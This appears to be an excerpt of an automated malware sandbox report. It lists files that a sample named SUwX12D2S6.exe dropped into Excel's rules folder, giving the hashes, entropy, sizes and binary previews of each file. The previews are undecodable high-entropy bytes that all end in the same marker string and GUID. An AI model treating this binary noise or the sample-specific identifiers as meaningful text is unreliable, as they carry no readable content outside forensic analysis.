SHA-512:	38059241A4DA194ABD271EECDB938256DA9159787C1685E3ED382A4CF7C3716D69148BD6754E6E987BCF09FA3CA333F7929FD7699D53BB673A1338BA4318031B
Malicious:	false
Preview:	<?xml..6.S"...l.v.]..Qk.+p..8Gj-xQ..=..:.T.dQ0'.........mx.eZ...m..~.2..j......S...\s.].N.p.q.3G..7..6.xzb~.r...(0.....E..`L.1\|t....c...{...zd......._.W.....g.......4...f.3"f..'.._...+vx.f.......00....mJ:.-..<I..m>..ORD.6.....WZ...XD.7R3/..... ..K..y*.....a....].H.5.1..3{8.......$r...Dj..c.PG(hn.a.....N.1n.~..j.Edg9.x.....p........V.JdS..}~..Cpa..,....{?Q.:.....F.Q..}.M......gjC.Tb.#\E..].....x......%K....n..\|vf.....-....#V...4.:t.......7.N......o.\|.d.....h8...q..O...>.!..V..B.F@.eB...Q.\|{..?o"K9....G3.?......S..h.S^o..=.GH `G.m]..C3..f&....._.. .{ ......x.).a..T}...^...9.j....5..D.;..b.M..4....t..Q6 .E.Y...0c{..H.......0.(.V?.LU......Q.Qx0......Myxd..^..H.m.wW. y...PbL....X....}.....+.....3.[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.721459782512893
Encrypted:	false
SSDEEP:	12:k1L7Nym5fMC0VvdaCeAmRPwAXC69BcDi1OqFKmqGZCktF14uEKZl+8itejVcii9a:kRZxIRAXC69OKOqFMGZCkvEKi6VbD
MD5:	97D41F05D1317A08F9AA29CA916D5A35
SHA1:	D583BDAA3A6B5B29E90BDEFDF75B08691562AB21
SHA-256:	818D2C7EF2BC6AFED8D42C852E1D4FF2523C3485C0E2BACE830CEBD54B7FE589
SHA-512:	41B2072EF7643E25B8913C3470C04850AA526549EA80934DD7BEDD716A4016F218488F5FB71081D1B3643BDBC83013ECFCCD5575DDDF9C92918F3AB87E4C026F
Malicious:	false
Preview:	<?xml..D(.QQ )U.\.8.z.P..L......d...H....A.....{..\|.....K.6.5'.#m.z..o...Rb.H...oB.$avT..e.~@..\...,_4.....@..@w56..+1.]..U7.....Wyd.3.6.l.p...(.".jR.Own..85wK'U.9g......^.A.J.i....=Lb....T...F8.>..<.mNk{...@...-.J.3p.....G.3....e.e.....X.j%X.YM@.(.tm./.j.....wS.q..l_k.%{:.:.X&t...lQ.a.#....A7....-.WL.S..$.Y.yP5HY-.j....h.D^..`..} ..1=..U...#.g..<.;..~.J(.tX............P.50A..r?)...#9...".F.&. 8{.)j.G<..U/ f.[....Y...t.6.H...h....\|..ALC...5.I...i...'....b.2YR.5s.2.?.x.h.v.M}..o.T.....h^;..~X.c.w....T......1.....<.U\<..r._..J.?..Vf.[{..M..pR.l.Ix. w...[o.6;t....+u....`.Y.)......Q...S.3..S..#.}.'....W..J....ri./y..c.b..^,....}d...7.....uitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.724238902806191
Encrypted:	false
SSDEEP:	24:y5vKYr+QacMOLFbsL0+r31q6Ggmg4BDNzZCExiVbD:yES+NchsLvggCDdxiFD
MD5:	22293ED07BDC8C47E1A0C316BA1B828C
SHA1:	6EAAD9257B106BBF524A7C75CF90A33EED9AC4D2
SHA-256:	8464A3969770DA04E49153348D6B9DE41024A59E8A7C1374A4CD7125DE9B781C
SHA-512:	DC4F65FE64367BBB83875F1DC567310C66CF0A48E682FAA5154A56086705BB4120EFEBF1BABFC148DFBA97BF80496E27997C9BDA98FD79C4A680AFE3ADCC5841
Malicious:	false
Preview:	<?xml.....u..wps....t"q...X.^.^Ge.....2f..,....NY...G3..2/.........:EHg {.a....R...........Q>........aI.!J.i.`... Ho6.c"m,.2........j....P%.......n.#...iN .G...../.Iq......]..g...Y..pJB..B.s.N."....(...,.B.ExVy..Z..Y3.l.......>......&...]...M.a."~g.......R.VzE..K.2..Q.r..@H...$......es..dls...x..\b<..4.....C.u....n.i$.D.C..Y...u.p..B......j..,......d;.....p..p.Qd,.(.V...w.....U..:./d..5.#.!..+.....m.E..T`...H...Ss../U.w.>....\.\.Rz.T.....<N.i......-.(...q.nr.!..;...a6E.t.Xx..c....D.X...`.2Vr.#]..,..&..8..S.u..g=.L}..L.P....sd..."L.........5-h7y..<XH.....w(../~.z.M.<.xo...-.r?..v..[.>0.r......)...<)K...C..../.[.......k..er.RI0..q..5f..c...].O..uJ.>."q..y.,..\?...`.Rhs..c.u.(..{.(6.Y...E...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.711289538192863
Encrypted:	false
SSDEEP:	12:I6+VOGOx1BMPEktSgwlOzWj7x7fT3MWv/yYIgSTtIqY1am3m3tXuJxcjnjVcii9a:Ya1BeNtSgwwktfT3M2aYIgSTFfuJxIj9
MD5:	045C13CD952A94EB62A75F36259BA0D5
SHA1:	00B47516DA91C0BCABE2C49CCDBEFDE31DE3429C
SHA-256:	A67B21931D82841E30074D1EACF6FA5203F044CFF5F8C0E1AC724B4C0DC27AC6
SHA-512:	2CBA3510D8C8BE3B73620327A9CA7FF062D33FD692E8B6588A1C7C72B24056123913BC5491A33EB9C1F48B5DD37E7E6F3E6652CBA1D48C97585DA388FA4036AA
Malicious:	false
Preview:	<?xmlD,..\."!..n >d...+.^p.c~.......:.al.zc.[...H. .].=....3........G........5.F+=.C..?i....X.c...P..+..n...H....X=4.].-v.c.:.<eH..........Y~.v...f.YP.=K2.......Vs....m....p...4....;...KI.b..P.j.....hE.<...d...{9..?R......e>$%....-..}..)....i..f..0&Q.-..L..R.(]..........>C..x...:.Z.......J.z.....s@..7...r..Z../.Q".....1v..h&...:...<rT...p......!s..].^.j.&0y....J.....!.L..$M.:.....I.=&C...%..}H../.F....cQ..F..T.1.A..6.Vn.QxT..'.4..QX=.H*0.!~e.T.!\|2........f@Q&.EMS.9..Z...v.....E.]......f5&.p1(..Y.y.)(b.iF.;].).....b.C..Y.T...9.......Ia`..AE..J.O+fk..p..d.\|..v...?..s.......Y....@P...9.G.......[.5..{.r.8....Z;...%#k.;.......:cncb..Zl.........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.703470981955313
Encrypted:	false
SSDEEP:	24:2z51jQgcnaJaB6pdrvUH8ni0MFo+JzIHDtZPqUv9sVbD:2zcFaJacfcH8niZokeDtZSLFD
MD5:	F5C475513407CF85B85361FDD9BFCF63
SHA1:	06DBC7858D08B80066616D21C8D0A0C30460F20C
SHA-256:	944C8541A8782647B092F4CA827AC58DF2C88384AE63BBB23B52038E092F161B
SHA-512:	229A148346108BACD7CB6EA66B472249B78A073FA02467CA8F58C5869A9D5D7D290D702F334F68E365E4124E383975689A021B382B38C1633B0BE07D56320EC4
Malicious:	false
Preview:	<?xml...b3...s.F.....;AC.o..`..V.rmD...t.=..........V..D.....g..'a.Tw'}.6NW..@{BM5r^.O.E:1..c..../7K-..$....8.V..D./.%.../4>..6.,0<..0..")\..G.(NX..6.../.9!.F..B...Q.%.Q.lc.......`.2..e......)......w2..a6R......2V.rm..M+C.?9.N....9...7../}?.t.O..tCz..W....S.D..T.x0.kY. Ru?F..oQ...Z...m....D..X0N.8....]...Rk2q.$..3...#...t........u......a....<...c..#.\..\?..;Bs.....e.h.X<.....E/..h..\g..\w.~..J`.....R.....(.W.@.=.F.C..-....fe..ASO.EY.5..yQ.x.#~S...10..DOOv..x..]cGA...y......9......N./.&...5...d....`he...L8j...N....R.V.j..F.....>.,......\|?..)....H#.. ..y.!._/.L...wP9.o..O...y3z...>."J..:\|....W.o.43[....+....Vz..l.....{..J8A../ .....+....E...V.m^,.E....[d.,.)&.Y7.&*..<).._+k ..'&1.j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.750349659191626
Encrypted:	false
SSDEEP:	12:ajdcke1GOzSoNR3Mmcun9cTNIPoH+zGFqd6gxhPSEHqRLEyfbjVcii9a:6mbNxXcTN+oe866ocVbD
MD5:	41685A1A7F854D5371A886D0FF8F528E
SHA1:	1DA6D201FE9076C2219F50A25D56DD5F78556B5E
SHA-256:	627159AEC67317CEF7DADEEBC19575B9551D35D508A36BC242B54B49EBD2DF8A
SHA-512:	66E88D2E29DC5F55DAB532DFEA973D538FE06358E1EA06F3BA4EE2AE5B15D97C73AA2BE04CD7293DDF636715F69A9702BF4051AE5BE3619D6BE543B23A7D79E2
Malicious:	false
Preview:	<?xml..M...W..iT..\|....H.....{a~L.=..i..3...+.2.<...H.{:......>.R...."...n....4V.!a.L..}A.d.0...,rG<&h...........]..b....s....W..>......... I..r..Z.Y...]M.T....6..Qb..7....(/d.+.C.0.U...0.2?.A..R4#.c..#.sp......nn..d...`V..&......Y.b..X...O.O...)a.....a_e.......T......0z...........:8..O6F..#.'...d...nb.._7.r..Q..YF...AP....T.w..U$)a..?.~.t..y......j."..B.q^W...@.3g..L.k".....H..~.^.f.n.9...2.lY..+w$~o.t.....@.`..L....M....7..6`..H..y..aq...6....Z.z...;...s..^6L<da~....8....M...o4T.O.B.t..+.K..0/.#.7..2!q.r.=.......A...{.r\|/.!.....uU...%.p.........6\>m.[R.O..Q.u@3!..).]K....j..L}...........C.#<I..n........}...(..-+........vo...la$.-..(....c5..S\1..`]j....$..B...W..;..maOq.7$.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.713275914354684
Encrypted:	false
SSDEEP:	24:urSHFbUiKI5hxZ/0RLGi1+lKlnn5rY+95EVeVbD:cSlopgh3Yqi1+Al1r9CAFD
MD5:	202A898908B66E3DD98E8F5ABB4BDB7B
SHA1:	16DB296557244EE455D7C3F3CE47ABB81962C555
SHA-256:	23B1F8E0C454DDA8090A6516B9FBA63F43DFD58116F042B47781D116F9F43930
SHA-512:	D280807A08EB2A627B3DB3D6EC38C47784AC5F2D0D90CC5A01F2D7C565BC0C6A0613FE9A936BBF8479F4E9AAE6406A8CAF9B42762083E53E4A0B99E61CA1D40A
Malicious:	false
Preview:	<?xml..+.7;.'.n.9en).... Z...;w.R.9....c.%.`LR.2.I...."..O..H...)........x........A..9.B2.J%eM......)>>L49.~.".En..b..J.S...c......Q.]."...P....J.]*'nK.b.V\|..b&./.At.t@..j;.S}...2.$...).'4..1}.j.%.7-.g.. .....O..'......N.....J..>..v...]a.O.^...\|.....z..T.....P.........E.S.N............+...'w.Y..s....C6...P...dqY.Y.jG....>..x\|..`.v.U.$..1.{.T..c....M....'.W.".,.\.....7.@.y...3...S...R./..2.7.0Xg.W.1/.Yu.M...3'..S..Ri9....W..V.g..........i.......R..80?..!...%.......?D!g...c..$.../8......R.I...~.(..0..(.H..g@..Z.jH.B...'R....%fn...B.`.P..z.23..`.q.v..]:.`.ev....86i.O.FN...q.@..m...<}aABY...4D~%.w..5..LA..b/...>.A..]...Ou....VN.\v\|x6..9....#..#...Yi...\).z.j.?+.q.H.....}h.....q...~.kV.Ix\......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.674128573009955
Encrypted:	false
SSDEEP:	12:7nqiZ9sKb5i2KbSoQ0AlFAePygVKHBWgrlhdGPAk5AeWpabk59HWX312v71S2Rj9:7qCsK0MZ/ATgIIgjdGPAMWpabmHia7UU
MD5:	AF804F8155DE4D50BCC7C46B2BEC5C12
SHA1:	0262E727591E14ECCC5DF1B864DB8A508515FA57
SHA-256:	DC58187AA1614188E9A02C35D761C26A8CC8079A35F4B77D1A63B3000BC046FF
SHA-512:	180D301F0F2257E781807BB7A73790DE62B8445134A847B8FF19A00381CD47A7B9017AE8B4C785652516D5E24C7D8F878378FA71A762B0ED5CA24E35A16CC9AA
Malicious:	false
Preview:	<?xml.uP]....S7`.X.[.eK..BV.fu...M8...4.}.;Z.Cs...{..%.%..........h..J..H.{.....51.j.V?Y#.gt.!{.i.z........#U..d.\]E....r.r........Xv.y..L.<'.a[nP.l=......O...#...MES.v.sd.!p.;...[7.#....$,...gs...nh@./.....F.;..w.".....H.....,.%:.O.m...~....-.:..5......d s.p...o.o(.p..3.x.T....{z.$weA...{AS.f.../'B.o....g7.......A.@..'....LFv}.w[.V.U...^........-=....M.o...5.W.....s...7c?.._B(@..e.B...^."tz........Hd.....$8iE.B....]M.B..hW.;......,.`l...Z..B..W..<c..v&S...y....n..#..zj.jP.}.......9W.X_;..2-....R..H6...G..N....#.A.-..7........2.G....Rt....&.....#.}I}9.9....W.....{@.'..9..t..)....$.6B..Ujt..f.7..nk..yU....8_Bm..)oj.....T..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.734649348345845
Encrypted:	false
SSDEEP:	24:aaPLob0e9QoZiA0zolS3efaIBWOeiAXd7Q8BVbD:ib9JkdOS3AeN7XBFD
MD5:	FCF25078BB98508AFA6FAAFABC7F2CDF
SHA1:	8AF01086ADD233C6D6774779F0415618506B16D3
SHA-256:	D4CB92940C8DBCC7BC7F081B4902E60AFC17CCBF84D800A79870FB45411DDD66
SHA-512:	6885513F4556097042923376FAA43C6571F115EB074040F6047A65B37B35C147688F47EB797B380646D1C1C9F98CE0B6E4060841855E40297DC74086299D3DF6
Malicious:	false
Preview:	<?xml.Nl..\|....w.g..bl.t-.l..I1Sr.....pJE.F>..[.&.@sy...!:..#..^....U.W".+Q...p.k......J... qEz.Q.O.: ..?\|+....=.....B.U..u...QH..^v......#X.%.......8.$.Y....B..g4q.....]....6.v\|.=...P...............8.,..F})...\^.....[.p.P.o....h.T...6.Nb..T.o..Q".R..'nSm...W..g]../....]4.Gi;NW\|?}d+.q..\.r.H...)\|3..r-.R..?....%-.)....u.......,..._p.m.....ya.!}X@.(.-...f.<"w.[...._D...w....oO..[N.%.....=st.Q.......rH.8O..\|.. ...$...6Mk....X...c..cP\.#..^V~"b..Z..u.)h.:.....O.....l.oh%....kb.Et.Y..Q...!.K....Ff.."........X...A..\.&.....8}...X^...J.....t...#....._.tO.....l.M.m.p.Ph..j..z.{,,qv...A..ax)4n6..j..H...o9.7.. ..8...3.....L...q........R..t..\..[F3.*...!.q.$...lrEImWu.H=..GCY...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.680299558870707
Encrypted:	false
SSDEEP:	12:cjxKsKeemh6fYrYRj0QG91syGnTk3M6srz8phkV7Ez0HtaQsAHlBDRpMVOejVciD:WceeKYRjE5GnTkqP8pcQ04v2/pMFVbD
MD5:	A31999075CC0B64E01AED73B2271AA90
SHA1:	2BCF58F62D386B6CA166F0627B6B2509A7F61A0F
SHA-256:	9E25F3C1959FBF6F992AFFD5B1BCC44E7CF332CBD87527490830E0D1CE6742CA
SHA-512:	FFAFEF4A5BF02C0F306A40C3B1438A900E9B375B8130A210812CBB8181DA544DF98A4D332A1A88432D75A0B6F335A9487D17142CD4EDF34E5B77ECD8DF15EE26
Malicious:	false
Preview:	<?xmlaN.o.:j...Y...-..0.....p..yJw2i.K.f7....{.6..h..t.zz...t....}...:.r...,O..3.a...k......T!.:.#.i>P.1\k8.....{.....46C+l.........+...a..i.....l.....3..Wa\|.e..B.....`..>.9........l....d.. p..5`......s....0....ar..%.".i. .e q....o../.M......0.K..K./.D.\|..l.....hKz.T...)....'....I..Q...V..PRdL.{..&d..3z......... eQ.i..QHl..2.07...<0..1..d..4.+..-.k.bm..=JC.-.+.+.],u..F...I...WGG.... .[.0.....m...>....z........s~..Rf....E...R....S..3w..4/.......Bh.4...e......8..c.k........:.)....}...r.0,UZ.l..^.F.....FID{..4q.............@e./.....H...3.......]D.Dek.#?..y......M.Y.6.w.l0....9l.`.../.....K.m...E....k....E.{..Rv..>-2......~.)....e.6.........."itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.693463622497491
Encrypted:	false
SSDEEP:	24:Aghd95Gd7PO9xiqwAF3r4Kn3P7Yr9c6e4fVbD:5hMxPOvTwAZ0K3zYlfFD
MD5:	FC07EED0D2CD66315E926283B9AF1A7C
SHA1:	7ECB09AE23603CDDBD8458D429AD9F5DF473B421
SHA-256:	8E800BE3F539F17460D1F5F2129526F6BCC0EB21EDFE35EDD58A819A41B2CD8D
SHA-512:	A67D3EA7D746CA40DDA4DD4F4496EEAA2C5E1959F60E4A9B2FC532236642520BC8E07110D24948E98E063FA7FEB3DB8C7D44840669E791776116317A9037018A
Malicious:	false
Preview:	<?xmlS.v...i.-..X8.......=..._..{._............<F.4.x...';.z..x..^....O.. ./ ........O..!........D.{.R':..;....B.<eH...bf..?A...W..COk].Sz.N.......zTk.E.w.ak..].2~.,..../?N-..Y}.$Z.{..v...0.gt.n....$6.........f....."...<...IW1....B..<.`d....L..K..e.(..@;$K..1..H..ZhX..>..&.2{.I.r..1..^.F.'.G.2.....p..... .{.zL-...T....y.U...w.H.8...t.T#k/P=D....E..Ot^<TJ../.(W...j..C.G..P....%p;..".wh._.:...,V.....I._4Y..zQ..n...)..8`j.v.n/.pp..t.2E...........d.Rb.>x.-R.7..X.m.....u.1....k._z......I.J.z.?..!..&............d.$..g...8./,..8..^...^6.^).O.....E.i3..JB..H.j......n.......k.&..m.MYV.....eBx..E.P......ShK.W.H.1.T..../.J!F..U..L..8........F......X.J....`.a"F..o...2`..M......#2......G.e....w.o...8.0..O..J...iSV?...\-y}M..&FE>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.701765387015242
Encrypted:	false
SSDEEP:	12:wTaQ7Uut2Kxl5QD5XRJqRnSSF7deQiPMiSjYwIFBaG07vZqCRNFMVejVcii9a:wTaGUutVS5XjqZSSVkrP97aB7vZqYsc9
MD5:	EA593D21F055143B15FC5F0D8FD2F55B
SHA1:	9191C29F38301A12077640128E640EE8137FF8CB
SHA-256:	55CF60FCD08D7BC0DD3A349F9C3DA295397E1D8600D20DE0704C5982872AA8B7
SHA-512:	9B094E03413EAD664DF57B69FF08289F14043C5242FD9860E039649251B2C7313B8F6A5E8954263C8D16A3C3E039D51D61C92745F7962BBB19FC4F66BF0B596C
Malicious:	false
Preview:	<?xml.6..d.....7.f.../u..F.w...F..#T.#.oH.....U.<..o.......\..:.>W[....C..XL.>./.#..NH.M......=[2..j...u.3.z.o....fk.MR..E^+.#;4M8Z.`...e...g.".v!Z.>_.C._...p0\|Pw.+0u{... G....F.......:.!T...lw.I.]D.P..u.:. ..Zp.^.e..!...y.`$.J...i`W{.V....='Y2...o..X..G#.a_q....cC?...8.);"......7..0..jP./.HV.....M.r!...2..$... .t.T\j..!..... O.l5..u2IB..c.......].o....I..6.j.....~ .!...w:.:.b....IU..'.n.......P..X...'..,....I.JN..E.Xl.;C.~...0.U....H...5.<I~.[p.J.?..^Ny.{.VwG.t2...{..t4?.y...~d....G......)!P...7.[....\|.}.(.....F.ff.&a&...\|..o~.I...r...0....H..-..bQ.b3........X....O...Zf.......%c"].....JqO.B...z..........Oe.&....uv...T.{/.....$zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.737416855324028
Encrypted:	false
SSDEEP:	24:mg8bacTEkIm6RivfE+L/euoKQ2C4LCuNVbD:mPXaivfEQeuoKQXuNFD
MD5:	D27CE62B04FB481109D22310FF35B4A3
SHA1:	1100C8A66CBB0986EAA7C2BECA009A00BB622FD7
SHA-256:	3FFB75027FFD150A21C4C56B54800BBDD40A3A1FA6ACFAB231C7F063A220D7DF
SHA-512:	6A949C4D92CC11DB2C22B548EB5F6E50A12E0ABD17CCB51864BF9FBC3C7666A2822A12A2D67F77B801787F0CAAA395610D04272DF29B9272E96EFBAE57519278
Malicious:	false
Preview:	<?xml.C.iu..M7>(..T&.U....^4....."....~..&..G,.Ei..%...%./.\|..Z\.j..L.\|..UM<...$8.L.C.46...0.._G.."..D........D:Sv./.G.: q.z..\...ecs......8..N.v.0....,Zc..<.......(.8G.e.R.fT&....9Y..+..y....o.. fBx..`G.0,.5.,.-.k~+......-....O....m.V7\|y<.Y@..F..._..H..C.r......D.u..Y..RA5........z...99..0..`.....c.\|...k.......`...S..9.......`p.....YE...~.......50...y..O..F.T..[...%....6R$...1.$.9\|+I.J.1......t....m.k.ZP.D...c2.."L.%.......g......G:...!..!...U.2;&.....8&...Xv.q.B!..w..M..i.4.O8d?.fd5..._s.#.2.......,lc...s:......i.3...o`.]..2..?.P.G.sF.G.n...Z.k......+....'......,.o.]..Y..*nt.rp..nW(0p.=.S2r#8......~.N1&:.W....Ya..}.>{N54..}...g.u.~..@.(V.'...w..U...5...l4\|.y.<.~'5PP...B\|...6..X..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.728524418096889
Encrypted:	false
SSDEEP:	12:4IPQ4tXlA3n0tSvdISqt9g13JwfGIEnly14xCKyjCMXcpCxsQf8WxjVcii9a:4IftXa3nkYqnEJWEly1sDDMsjQkkVbD
MD5:	0CD942775C7E998FF0BA4E9803FFE8AE
SHA1:	04D20011F4BEBE869AE1D860A82DE4A024BE7D90
SHA-256:	0DAACD23C532D644AB3B54A00D71228D759AC38DDC7D8C8A403F06AB8F256364
SHA-512:	5F61674769EB5B5910529D2F36A5C9D3FEA68E1453AABF90011D5EF86962304179E2348D866E84FB76C8FE68280A79BC070DE7C5ED16F45CC062FEF10D7BB0E5
Malicious:	false
Preview:	<?xmlP...g`...z....>%.)...S...HzwS...[...-....ECr..X....Zy..3....}H....2..g.{.).....L..k.~N....#(...G....\|..r...^.Os...b.. ...H../.B.-...;.,m~.~.'y.3:B&..%...\|.}.6.R.....v......./...@.Tta,O.j}..(....;..f.....n,M.D...X.;..Wh..v...\.."@...xi^.Eh ....p'.)../......pXX...3Z.D..B.;..c..`.Y....6A.\...O....@.2 x9.}].....YU%.0S...7...2"Jk.Vy..F.!......#W]6J..@.1Y..W.....6.S.p.i8...d..Y.pt...v.......5Yi-....,.k~^..`]....-.. ~.r.n.A.H.w.P\|.b....+!..w;.i..p~...~by.YQ.3.....8.......Y..n..D...T!...Yv....n...B.'.B...v.....A.Q.E..sh....b.O.bX..w..s......J;......JLp....8.....Xu.......8...Kv=.f.HX.q..j..Z.J....B......).$X>!....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.721331346443717
Encrypted:	false
SSDEEP:	24:6gvOV+umuzAMEHOrEyCStNwt/LI/kXVbD:8zmlMXrEyC4sLskXFD
MD5:	2C6BB16ED5107093C4EE7E9DE681FB48
SHA1:	5CF65E7A1221E9E3365BBDE4BFB7D80197D8CCFB
SHA-256:	8D5072F686D5216DCF5CD0915DE0086DDE5261F309ECA46D916E9376B9AD2B73
SHA-512:	1A9DAE07C394B7B576F6CC021CFEBA9F47883127B20F6E466C22A9C6E15269F46D8C7B141D4AA9E86F5469FCD1F083B018A7017403376B5DB6370FF2826E7869
Malicious:	false
Preview:	<?xmlxn.S........jv...].....yK<b.$...(G.).oB.^..T.`...'....:e.2....:.z...F.....?.[..1...z..;.U...!g....]F..;......s..f.)."t.\|R/.NJ..O..%..9......>..p..1....S.\|T....H...C..J....4.p.-h.^...1....&.{....d."pU...>..2....x..;....7..-.F.Z..d..B.G(......s.=.`.R...3+&..H.4.8W....p.S....f,.Jf:z}..wu..*......#k...f..pz...&i...y..x.e...r..0.....Y++...`s. %n\|.!$&x........2...T..}MO!Jn=Z,..}.%(s..m.Y..o$.R_...F.U..I..C0..$q/.0..1/..<..Fm..G.A......nbhz.iEZ?..!..<..&8...e....['.P.R.-...E......t..............^>.G"....R\.q-rr6Tf2:^..a.T..^.+..Z0a...SKV;.n.:{..<.......c`....D..:....8......!....R^....+f.&...M.Rx..5..6.Q.?.r./`y.....(..'B.w4b...........m.b&..r}b.G..r.%......rf.$Iu.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.687677711573262
Encrypted:	false
SSDEEP:	12:ygIQKRHBqP0dwcW/ArW54o85xBt+8xJy0kQlwRjOpFi99NjVcii9a:ChfWf/3TgBt3G0kxovi99NVbD
MD5:	4910E34DB65D1910C2DCE083CA5509B4
SHA1:	BBC714318A9180742DFF280933DCD5FC87027980
SHA-256:	093C97ECAE8B4FA656F04D8994BAAE931AA36A84D4ED67C923A3B90774687CD1
SHA-512:	CD6E6382215068C2AFBFB503D664843F029FDB14B1567F84FC32A1B2E4F0E07270EE5DC1650CF1212B50184A15C2639AACAB1C215045424DF81DEBACDA34003C
Malicious:	false
Preview:	<?xml4.>.;...>.j3...&......d...{.+..KU.cc).Q[).p....G.<[...B.zR"Js3v8S..W.....:...%.SI.:.c.....{..!.![.i.J0.W....(..+uw-..?...:..@.LM........Q....R.L.).a.\}...b....._Rx6.q. DF.q....=@.....<..W..J...1N..A..8.w/..r..x..S.....N...x(&.P.Ds..,1..z...t.G...;..1.y+L..z....Z..l5[....8..V..".u>S..V..7R6....d+.........Wt...w.......q..%..cw.O\..R.......+...@!.l........z&f.l.c7yx=.w...;...~7y.... ..9F.w.....:.M...m..b#......!4..i..;...oCT.gT:,.....,..........\...V.\|.q.(...]}....k.....~.....;.zO..A....?:...MJ.....P{.>.K7.j..M....v.?a..&2%d.8..!G..cU..._.u.4.6...}...F.\|@...I..Ge.......$...% ac.2m..5.h..gy.e..H.m.....K.jC.F;./V.O..N....`.]-phitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

